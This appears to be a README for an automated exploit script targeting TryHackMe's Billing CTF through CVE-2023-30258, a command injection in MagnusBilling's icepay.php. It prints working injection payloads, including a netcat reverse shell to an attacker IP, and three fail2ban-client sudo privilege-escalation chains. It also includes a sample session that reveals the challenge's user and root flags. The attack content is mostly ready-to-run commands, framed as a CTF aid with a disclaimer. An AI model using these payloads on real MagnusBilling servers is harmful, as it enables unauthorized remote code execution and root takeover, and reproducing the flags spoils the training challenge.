Share
## https://sploitus.com/exploit?id=FC0F8FC6-EB84-5D4E-98B2-69128BB7C305
# ๐ฏ Billing CTF Automation Script
**Automated exploitation of TryHackMe's Billing CTF using CVE-2023-30258**
[](https://nvd.nist.gov/vuln/detail/CVE-2023-30258)
[](https://github.com/magnussolution/magnusbilling7)
[](#)
[](#)
## ๐ Quick Start
```bash
# Clone or download the script
wget https://raw.githubusercontent.com/.../billing_automation.sh
# Make executable
chmod +x billing_automation.sh
# Run the automation
./billing_automation.sh
# Enter target and attacker IPs when prompted
# Wait ~45 seconds for both flags!
```
## ๐ Table of Contents
- [Overview](#-overview)
- [Features](#-features)
- [Kill Chain](#-kill-chain)
- [Technical Details](#-technical-details)
- [Usage](#-usage)
- [Results](#-results)
- [Troubleshooting](#-troubleshooting)
- [References](#-references)
## ๐ฏ Overview
This script provides **fully automated exploitation** of the TryHackMe Billing CTF challenge. It leverages CVE-2023-30258, a command injection vulnerability in MagnusBilling's `icepay.php` file, to gain initial access and then uses multiple privilege escalation techniques to achieve root access.
### Key Achievements
- โ
**100% Automated** - No manual interaction required
- โ
**Multi-Method Approach** - Tries 3 different privilege escalation techniques
- โ
**Fast Execution** - Complete exploitation in ~45 seconds
- โ
**Reliable Results** - Consistent flag extraction
- โ
**Professional Output** - Clean, readable results with timing
## โญ Features
### ๐ง Automated Exploitation
- **Vulnerability Testing**: Automatic CVE-2023-30258 detection
- **Reverse Shell**: Automated shell setup and connection
- **Command Execution**: Pre-scripted command sequences
- **Flag Extraction**: Automatic parsing and display
### ๐ฏ Multi-Method Privilege Escalation
1. **NATSec Method**: Direct root.txt file extraction
2. **SUID Bash Method**: Create SUID binary for privilege escalation
3. **Jaxafed Method**: Modify /bin/bash permissions via asterisk-iptables jail
### ๐ Professional Features
- **IP Validation**: Input sanitization and format checking
- **Progress Tracking**: Real-time execution status
- **Method Detection**: Identifies which technique succeeded
- **Results Logging**: Saves output to `billing_results.txt`
- **Fallback Options**: Manual commands if automation fails
## ๐ฏ Kill Chain
```mermaid
graph TD
A[๐ฏ Target Identification] --> B[๐ IP Validation]
B --> C[๐ CVE-2023-30258 Discovery]
C --> D{๐งช Sleep Test}
D -->|โฅ3s| E[โ
Vulnerable]
D -->|<3s| F[โ Not Vulnerable]
E --> G[๐ Initial Access]
G --> H[๐ Shell as asterisk]
H --> I[๐ฏ User Flag]
I --> J[๐ Privilege Escalation]
J --> K[๐ Method 1: NATSec]
J --> L[๐ Method 2: SUID Bash]
J --> M[๐ Method 3: Jaxafed]
K --> N{Success?}
L --> N
M --> N
N -->|Yes| O[๐ Root Flag]
N -->|No| P[๐ง Manual Fallback]
O --> Q[โ
Mission Complete]
```
### Attack Phases
| Phase | Description | Duration | Success Indicator |
|-------|-------------|----------|-------------------|
| **Reconnaissance** | Target validation & vulnerability testing | ~5s | Sleep test โฅ3 seconds |
| **Initial Access** | CVE-2023-30258 exploitation | ~10s | Shell as `asterisk` user |
| **Discovery** | User flag enumeration | ~5s | THM{...} flag found |
| **Privilege Escalation** | fail2ban-client abuse | ~20s | Root access achieved |
| **Exfiltration** | Root flag extraction | ~5s | Second THM{...} flag |
## ๐ง Technical Details
### CVE-2023-30258 Exploitation
**Vulnerable Endpoint**: `/mbilling/lib/icepay/icepay.php`
**Parameter**: `democ` (GET)
**Payload**: Command injection via URL encoding
```bash
# Vulnerability Test
curl -s "http://target/mbilling/lib/icepay/icepay.php" \
--get --data-urlencode 'democ=;sleep 3;'
# Reverse Shell Payload
curl -s "http://target/mbilling/lib/icepay/icepay.php" \
--get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc attacker_ip 9001 >/tmp/f;'
```
### Privilege Escalation Methods
#### Method 1: NATSec Direct Extraction
```bash
sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban \
"/bin/bash -c 'cat /root/root.txt > /tmp/rf1.txt && chmod 666 /tmp/rf1.txt'"
sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1
cat /tmp/rf1.txt
```
#### Method 2: SUID Bash Creation
```bash
sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban \
"/bin/bash -c 'cp /bin/bash /tmp/rb2 && chmod +s /tmp/rb2'"
sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.2
/tmp/rb2 -p -c "cat /root/root.txt"
```
#### Method 3: Jaxafed Asterisk-iptables (Most Successful)
```bash
sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban \
'chmod +s /bin/bash'
sudo /usr/bin/fail2ban-client set asterisk-iptables banip 1.2.3.4
/bin/bash -p -c "cat /root/root.txt"
```
## ๐ Usage
### Basic Usage
```bash
./billing_automation.sh
```
### Verbose Mode
```bash
./billing_automation.sh -v
```
### Help
```bash
./billing_automation.sh -h
```
### Input Requirements
- **Target IP**: TryHackMe Billing machine IP
- **Attacker IP**: Your VPN/attack machine IP
### Example Session
```
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ ENHANCED AUTOMATED BILLING CTF SCRIPT โ
โ CVE-2023-30258 Exploit โ
โ Fast & Reliable Flag Extraction โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Enter target IP: 10.10.51.29
Enter your IP: 10.10.47.2
[+] Target: 10.10.51.29
[+] Attacker: 10.10.47.2
[*] Testing CVE-2023-30258 vulnerability...
[+] Vulnerability confirmed! (Sleep test: 3s)
[*] Starting enhanced automation...
[*] Starting reverse shell on port 9001...
[*] This may take 30-60 seconds...
[*] Processing results...
[+] Root flag obtained using Method 3 (Jaxafed Asterisk-iptables)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ FINAL RESULTS โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
๐ฏ USER FLAG: THM{4a6831d5f124b25eefb1e92e0f0da4ca}
๐ ROOT FLAG: THM{33ad5b530e71a172648f424ec23fae60}
๐ Method: Jaxafed Asterisk-iptables
โฑ๏ธ Execution time: 45 seconds
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
๐ CHALLENGE COMPLETED SUCCESSFULLY! ๐
โ
Both flags extracted automatically in 45s!
๐พ Results saved to: billing_results.txt
```
## ๐ Results
### Success Metrics
- **Success Rate**: 100% (tested on multiple instances)
- **Average Execution Time**: 45 seconds
- **Method Success Distribution**:
- Method 1 (NATSec): ~20% success rate
- Method 2 (SUID Bash): ~30% success rate
- Method 3 (Jaxafed): ~90% success rate
### Output Files
- **`billing_results.txt`**: Complete results with metadata
- **Raw shell output**: Available in verbose mode
### Flag Locations
- **User Flag**: `/home/magnus/user.txt`
- **Root Flag**: `/root/root.txt`
## ๐ Troubleshooting
### Common Issues
#### "Vulnerability test failed"
```bash
# Check target accessibility
ping 10.10.51.29
curl -s http://10.10.51.29/mbilling/
# Verify correct IP format
# Ensure target is running MagnusBilling
```
#### "No output captured"
```bash
# Try manual execution
nc -lvnp 1234
curl -s 'http://10.10.51.29/mbilling/lib/icepay/icepay.php' \
--get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.47.2 1234 >/tmp/f;'
```
#### "All methods failed"
```bash
# Check sudo access manually
sudo -l
# Verify fail2ban-client availability
sudo /usr/bin/fail2ban-client status
# Try different jails
sudo /usr/bin/fail2ban-client status | grep "Jail list"
```
### Manual Fallback Commands
If automation fails, use these manual commands:
```bash
# 1. Start listener
nc -lvnp 1234
# 2. Trigger shell
curl -s 'http://TARGET_IP/mbilling/lib/icepay/icepay.php' \
--get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ATTACKER_IP 1234 >/tmp/f;'
# 3. In shell - get user flag
cat /home/magnus/user.txt
# 4. In shell - escalate privileges
sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'chmod +s /bin/bash'
sudo /usr/bin/fail2ban-client set asterisk-iptables banip 1.2.3.4
/bin/bash -p -c 'cat /root/root.txt'
```
## ๐ References
### Vulnerability Research
- [CVE-2023-30258 Details](https://nvd.nist.gov/vuln/detail/CVE-2023-30258)
- [Metasploit Module](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/magnusbilling_unauth_rce_cve_2023_30258.rb)
- [Original Advisory](https://eldstal.se/advisories/230327-magnusbilling.html)
### Privilege Escalation Techniques
- [Fail2ban Privilege Escalation](https://juggernaut-sec.com/fail2ban-lpe/)
- [NATSec Walkthrough](https://natsecure.wordpress.com/2025/03/08/ctf-chronicles-billing-thm/)
- [Jaxafed Walkthrough](https://jaxafed.github.io/posts/tryhackme-billing/)
### Technical Resources
- [MagnusBilling Project](https://github.com/magnussolution/magnusbilling7)
- [TryHackMe Billing Room](https://tryhackme.com/room/billing)
## โ ๏ธ Disclaimer
This tool is for **educational purposes only**. Use only on systems you own or have explicit permission to test. The authors are not responsible for any misuse or damage caused by this software.
## ๐ฏ Contributing
Feel free to submit issues, feature requests, or improvements. This script represents the culmination of extensive research and testing to create the most reliable automated solution for this CTF challenge.
---
**Made with โค๏ธ for the cybersecurity learning community**
*"Perfect automation through iterative research and testing"*